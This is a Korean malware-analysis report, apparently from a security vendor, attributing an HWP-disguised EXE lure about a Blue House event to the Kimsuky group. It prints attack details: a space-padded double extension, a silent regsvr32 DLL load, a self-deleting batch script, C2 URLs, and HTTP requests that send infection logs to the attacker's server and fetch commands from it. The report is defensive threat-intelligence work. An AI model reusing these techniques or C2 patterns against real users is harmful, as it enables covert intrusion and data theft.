김수키 조직, 청와대 녹지원/상춘재 행사 견적서 사칭 APT 공격
■ 청와대 행사 견적서로 둔갑한 APT 공격 '블루 에스티메이트' 등장
2019년 12월 03일, 마치 HWP 한글 문서파일처럼 위장한 악성 EXE 실행파일이 발견되었는데, 한국시간으로 12월 02일 오후 6시경 만들어졌습니다.
파일명 | 제작날짜 (타임스탬프) | MD5 |
베트남 녹지원 상춘재 행사 견적서.hwp (다수의 공백 포함) .exe | 2019-12-02 18:01:05 (KST) | 35d60d2723c649c97b414b3cb701df1c |
파일명에는 베트남 녹지원 상춘재 행사 견적서라고 되어 있고, 첫번째 확장자는 hwp 문서형식이지만, 다수의 공백을 포함한 2중 확장자로 실제로는 exe 실행파일 형식을 가지고 있습니다.
지난 11월 27일 국내 언론을 통해 '상춘재 앞에 선 김정숙 여사와 베트남 총리 부인' 기념촬영 사진이 공개된 바 있습니다.
ESRC에서는 이번 악성파일이 정치·사회적인 이슈를 활용한 사회공학적 APT 공격에 사용된 것으로 확신하고 있으며, 분석과정을 통해 2014년 한국수력원자력(한수원) 공격 배후로 지목된 바 있는 김수키(Kimsuky) 그룹으로 최종 분류하였습니다.
더불어 이번 공격이 지난 01월 20일 보고된 바 있는 '일요일 수행된 APT 변종 공격, 오퍼레이션 페이크 캡슐(Operation Fake Capsule) 주의' 공격 캠페인의 연장선이라는 것이 드러났고, ESRC에서는 이번 APT 공격을 '오퍼레이션 블루 에스티메이트(Operation Blue Estimate)'로 명명했습니다.
■ 블루 에스티메이트 위협에 사용된 악성파일 분석
악성파일은 EXE 확장자명을 가지고 있지만, 아이콘을 HWP 문서처럼 교묘하게 위장했습니다. 그리고 다수의 공백을 포함해 HWP 문서처럼 보이도록 1차 확장자를 설정했습니다.
따라서 윈도우 운영체제 폴더 옵션에 따라 HWP 확장자만 보일 수도 있어, 이용자들은 가능한 확장자가 보이도록 폴더 옵션 설정을 권장하며, 공백이 있는 다중확장자 위협에 노출되지 않도록 주의해야 합니다.
[그림 1] 폴더 옵션에서 확장명 숨기기를 해제한 설정
악성 문서파일은 내부에 'BINARY' 리소스를 가지고 있으며, '103', '104' 영역에 각각 한국어(Korean)로 설정된 데이터가 포함되어 있습니다.
'103' 데이터에는 정상적인 HWP 문서파일을 포함하고 있으며, '104' 데이터에는 최종 악성 32비트 DLL 파일이 포함되어 있습니다.
리소스 자체가 한국어로 제작되어 있다는 점에서 악성파일 제작자가 한국어 기반에서 프로그래밍을 했다는 것도 짐작해 볼 수 있습니다.
[그림 2] 악성 파일 외형과 내부 리소스 화면
'103' 데이터에는 정상적인 HWP 문서 내용을 담고 있으며, 악성 파일이 실행된 후 정상적인 문서 화면을 보여주어, 사용자로 하여금 마치 정상 문서로 인식하도록 현혹합니다.
실제로 보여지는 화면은 다음과 같으며, 납품장소가 청와대 녹지원/상춘재로 기록되어 있습니다.
[그림 3] 악성파일이 작동시 정상적으로 보여지는 문서 내용
메인 숙주 파일이 실행되면, 리소스 '104' 데이터에 있던 파일이 다음과 같이 은밀하게 생성되고 작동을 시작합니다.
베트남 녹지원 상춘재 행사 견적서.hwp (빈공백 다수 포함) .exe
ㄴ C:\Windows\System32\regsvr32.exe /s /n /i NewACt.dat
ㄴ C:\Users\<사용자계정>\AppData\Local\Temp\rns.bat
그리고 'rns.bat' 배치 파일을 통해 숙주 파일을 자가삭제 합니다. 이때 사용된 'rns.bat' 파일의 이름은 지난 '페이크 캡슐' 오퍼레이션과 정확히 일치합니다.
:Repeat1
del "C:\<실행경로>\베트남 녹지원 상춘재 행사 견적서.hwp (빈공백 다수 포함) .exe"
if exist "C:\<실행경로>\베트남 녹지원 상춘재 행사 견적서.hwp (빈공백 다수 포함) .exe" goto Repeat1
del "C:\Users\<사용자계정>\AppData\Local\Temp\rns.bat"
이번 악성 파일에는 다음과 같은 PDB 정보를 가지고 있어, 공격자의 흔적을 찾아볼 수 있습니다.
- E:\pc\makeHwp\Bin\makeHwp.pdb
[그림 4] 악성 파일 내부에 포함되어 있는 PDB 화면
지난 01월에 등장했던 '페이크 캡슐'에서는 다음과 같은 PDB 정보가 발견된 바 있는데, 매우 흡사하다는 점을 알 수 있습니다.
당시 이스트시큐리티 알약 제품처럼 위장한 폴더명이 일부 변경된 것을 알 수 있지만, 드라이브명이나 최종 'makeHwp.pdb' 이름은 동일합니다.
- E:\PC\EstService\Bin32\makeHwp.pdb
추가로 생성된 'NewACt.dat' 파일은 32비트 DLL 형식이며, 2019년 11월 19일에 제작되었습니다. 사전에 미리 제작했던 악성 라이브러리 모듈을 12월달에 다시 활용했을 것으로 추정되는 대목입니다.
'NewACt.dat' 파일은 'Lyric.dat' 익스포트 함수명을 가지고 있으며, 'checkdrive' 등의 명령을 사용합니다.
Lyric.dat
ㄴ 001 checkdrive
ㄴ 002 DllRegisterServer
ㄴ 003 DllInstall
악성 라이브러리는 중복실행을 방지하기 위해서 뮤텍스명을 다음과 같이 'Papua gloria' 이름으로 생성합니다.
[그림 5] Papua gloria 뮤텍스 생성 화면
악성 파일은 다음과 같이 국내 특정 웹 사이트(antichrist.or[.]kr)로 C2 통신을 수행하며, 공격자 명령에 따라 추가 위협에 노출될 수 있게 됩니다.
보통 이러한 경우 공격자가 원하는 맞춤형 추가 악성 파일을 몰래 설치해, 원격제어나 기밀정보 탈취를 시도하게 됩니다.
- http://antichrist.or[.]kr/data/cheditor/dir1/F.php
POST /data/cheditor/dir1/F.php HTTP/1.1
Content-Type: multipart/form-data; boundary=-------------223de5564f
Content-Length: 211
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: antichrist.or[.]kr
Connection: Keep-Alive
Pragma: no-cache
---------------223de5564f
Content-Disposition: form-data; name="binary"; filename="<생략>_log.txt"
Content-Type: application/octet-stream
0010::년/월/일-시:분:초
---------------223de5564f--
GET /data/cheditor/dir1/<생략>/cmd.txt HTTP/1.1
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: antichrist.or[.]kr
Pragma: no-cache
■ 유사 위협과의 연관성 분석
먼저 ESRC가 기존에 리포팅했던 김수키(Kimsuky) 위협그룹의 '코브라 베놈', '페이크 캡슐' 작전과 이번 블루 에스티메이트를 비교해 보면 일부가 변경된 것을 알 수 있습니다.
[Operation Cobra Venom] : 2019-01-07
.rdata:10026AE0 a44cdd22e90fCon db '---------------44cdd22e90f',0Dh,0Ah
.rdata:10026AE0 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:10026AE0 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:10026AE0 db 0Dh,0Ah,0
[Operation Fake Capsule] : 2019-01-20
.rdata:10029E48 a44cdd22e90fCon db '---------------44cdd22e90f',0Dh,0Ah
.rdata:10029E48 db 'Content-Disposition: form-data; name="files"; filename="%s"',0Dh,0Ah
.rdata:10029E48 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:10029E48 db 0Dh,0Ah,0
[Operation Blue Estimate] : 2019-12-02
.rdata:100166F8 a223de5564fCont db '---------------223de5564f',0Dh,0Ah
.rdata:100166F8 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:100166F8 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:100166F8 db 0Dh,0Ah,0
지난 2018년 07월 18일 발견된 스피어 피싱 이메일에서는 마치 한국의 비트코인 거래소의 긴급 공지사항처럼 위장한 공격이 포착된 바 있습니다.
당시 사용된 C2 서버는 'ago2.co[.]kr' 서버로 '김수키, 통일부 기자단을 상대로 한 APT공격, 오퍼레이션 코브라 베놈 주의' 포스팅에서도 언급되었던 서버입니다.
- http://ago2.co[.]kr/bbs/data/dir/svchow.dat
- http://ago2.co[.]kr/bbs/data/dir/F.php
[그림 5-1] 암호화폐 거래소 긴급 공지로 사칭한 스피어 피싱 화면
한국내 비트코인 거래소 공지사항을 사칭했던 악성 파일의 C2 PHP 파일명과 이번 '블루 에스티메이트' C2 PHP 파일명에서 유사한 점이 확인됩니다.
2018년 암호화폐 거래소 사칭 스피어 피싱 C2 | http://ago2.co[.]kr/bbs/data/dir/F.php |
2019년 청와대 행사 견적서 사칭 스피어 피싱 C2 | http://antichrist.or[.]kr/data/cheditor/dir1/F.php |
흥미로운 점은 해당 서버에서 보여지는 문자가 기존 다른 침해사고에서 발견된 파일과 동일한 것으로 판단되어 집니다.
[그림 5-2] antichrist.or[.]kr 명령제어 서버 화면
'F.php' 파일은 여러 침해사건에서 발견된 바 있는데, 실제 확인된 사례는 극히 일부입니다. ESRC는 2019년 중순 경에 해당 파일을 일부 확보할 수 있었는데, 내부에 다음가 같은 문자가 포함되어 있습니다.
물론, 화면에는 포함되어 있지만, 제일 하위부분에 'echo("Uploaded File is not Exist");' 문자가 별도로 포함되어 있습니다.
[그림 5-3] 다른 침해사고에서 발견된 바 있는 'F.php' 코드 내부 화면
공격자는 감염된 시스템 식별을 통해 추가 공격을 수행할 수 있습니다. C2 서버에는 현재 다양한 감염자 식별코드(MAC 주소)가 등록되고 있습니다.
[그림 5-4] C2 서버에 등록되는 감염자 로그 상황
더불어 해당 사이트에는 웹쉘(Webshell)로 추정되는 파일도 일부 발견되어, 한국인터넷진흥원(KISA) 등에 제공하여 침해사고 조사에 협조할 예정입니다.
그리고 'ago2.co[.]kr' C2 서버에서 다운로드됐던 'svchow.dat' 파일을 분석해 보면, '오퍼레이션 블루 에스티메이트'와 동일한 인자명을 사용하고 있음을 확인할 수 있습니다.
[한국내 비트코인 거래소 사칭] : 2018-07-18
.rdata:100164A8 a223de5564fCont db '---------------223de5564f',0Dh,0Ah
.rdata:100164A8 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:100164A8 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:100164A8 db 0Dh,0Ah,0
[Operation Blue Estimate] : 2019-12-02
.rdata:100166F8 a223de5564fCont db '---------------223de5564f',0Dh,0Ah
.rdata:100166F8 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:100166F8 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:100166F8 db 0Dh,0Ah,0
2019년 01월 12일에 다음(Daum) 보안센터에서 발송한 것처럼 위장한 피싱 메일이 발견된 바 있습니다.
당시 사용된 피싱 이메일은 '[긴급]비밀번호가 유출되었습니다.' 제목을 가지고 있으며, 피싱용 C2 서버는 다음과같습니다.
'esy.es' 도메인은 김수키(Kimsuky) 그룹이 지속적으로 악용하고 있는 웹 호스팅 서비스 중에 하나입니다.
- http://member-view-center.esy[.]es/MyAccount/?m=viewChangePasswd&menu=security&token_help
[그림 6] 한메일 보안 내용으로 위장한 피싱 이메일 화면
당시 공격자는 발신자를 실제 다음(Daum) 보안센터처럼 위장하기 위해 다른 서버에서 공격을 수행한 흔적이 발견되었는데, '오퍼레이션 블루 에스티메이트'에서 사용된 C2 서버 'antichrist.or[.]kr (114.207.244[.]99) 주소가 동일하게 목격됩니다.
[그림 7] 피싱 이메일에서 발견된 발신지 서버 주소
이외에도 HWP 문서처럼 위장한 다른 유형이 발견된 바 있는데, RAR SFX 압축된 형태이며, 내부에 정상 HWP 문서와 악성 VBS를 가지고 있는 경우입니다.
내부에 존재하는 정상적인 문서 파일이 실행되면 다음과 같이 북핵 관리 정책연구 제안서 화면이 나오게 됩니다.
[그림 8] 북핵 관리 정책연구 제안서 화면
이 공격에 사용된 '1.vbs' 악성 스크립트 파일은 파워쉘 명령을 활용해 'primary-help.esy.es' C2 도메인을 사용하게 되며, '오퍼레이션 페이크 캡슐'과 유사하게 'Est' 경로에서 추가 악성파일을 다운로드 합니다.
또한, 'ScreenRibbonsDomain' 이름을 레지스트리를 등록하게 되는데 다른 변종에서도 발견되기도 합니다.
[그림 9] '1.vbs' 내부 파워쉘 명령어 화면
ESRC에서는 2019년 6월에 김수키(Kimsuky)와 코니(Konni) 그룹의 연관성에 대해 '[스페셜 리포트] APT 캠페인 'Konni' & 'Kimsuky' 조직의 공통점 발견'을 통해 처음으로 기술한 바 있습니다.
이 내용에는 김수키 조직이 사용한 대표적인 C2 서버로 'gyjmc[.]com' 서버를 언급한 바 있습니다.
이번 '블루 에스티메이트' 악성 파일은 뮤텍스 이름으로 'Papua gloria' 문자가 사용되었는데, 2017년 06월 경 제작되고 'gyjmc[.]com' 서버를 이용하는 악성 파일은 뮤텍스 이름이 'Pyccuu gloria' 입니다.
그리고 내부 기능도 거의 동일하게 만들어져 있다는 점이고, F.php 경로도 기존이랑 거의 동일한 흐름을 가지고 있습니다.
2017년 gyjmc[.]com C2 서버를 사용한 사례 | http://gyjmc[.]com/board/data/cheditor/dir1/F.php |
2018년 암호화폐 거래소 사칭 스피어 피싱 C2 | http://ago2.co[.]kr/bbs/data/dir/F.php |
2019년 청와대 행사 견적서 사칭 스피어 피싱 C2 | http://antichrist.or[.]kr/data/cheditor/dir1/F.php |
[gyjmc[.]com C2 이용한 사례] : 2017-06-02
.rdata:100166F0 a223de5564fCont db '---------------223de5564f',0Dh,0Ah
.rdata:100166F0 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:100166F0 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:100166F0 db 0Dh,0Ah,0
[한국내 비트코인 거래소 사칭] : 2018-07-18
.rdata:100164A8 a223de5564fCont db '---------------223de5564f',0Dh,0Ah
.rdata:100164A8 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:100164A8 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:100164A8 db 0Dh,0Ah,0
[Operation Blue Estimate] : 2019-12-02
.rdata:100166F8 a223de5564fCont db '---------------223de5564f',0Dh,0Ah
.rdata:100166F8 db 'Content-Disposition: form-data; name="binary"; filename="%s"',0Dh,0Ah
.rdata:100166F8 db 'Content-Type: application/octet-stream',0Dh,0Ah
.rdata:100166F8 db 0Dh,0Ah,0
지금까지 몇가지 사례들의 유사성을 비교해 보았습니다만, APT 공격자는 수년간 꾸준히 유사한 패턴을 재활용하고 있습니다.
물론, 일부분에서는 새로운 시도가 엿보이기도 하지만, 공격 흐름을 추적하는 위협 인텔리전스 기반에서 봤을 때 충분히 위협 배후를 분석하는데 중요한 단서로 작용하고 있습니다.
국가기반 위협 조직은 갈수록 치밀하고 노골적으로 사이버 작전을 수행하고 있습니다.
ESRC에서는 이들이 전방위적인 공격을 수행하고 있음을 잘 알고 있으며, 각종 사이버 보안 위협이 국가 사이버안보로 이어질 수 있다는 점을 중요하게 생각하고 있으며, 이와 관련된 다양된 APT 위협사례를 추가 분석하고 있으며, 공격에 사용된 IoC 데이터와 추가 분석데이터는 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 제공할 예정입니다.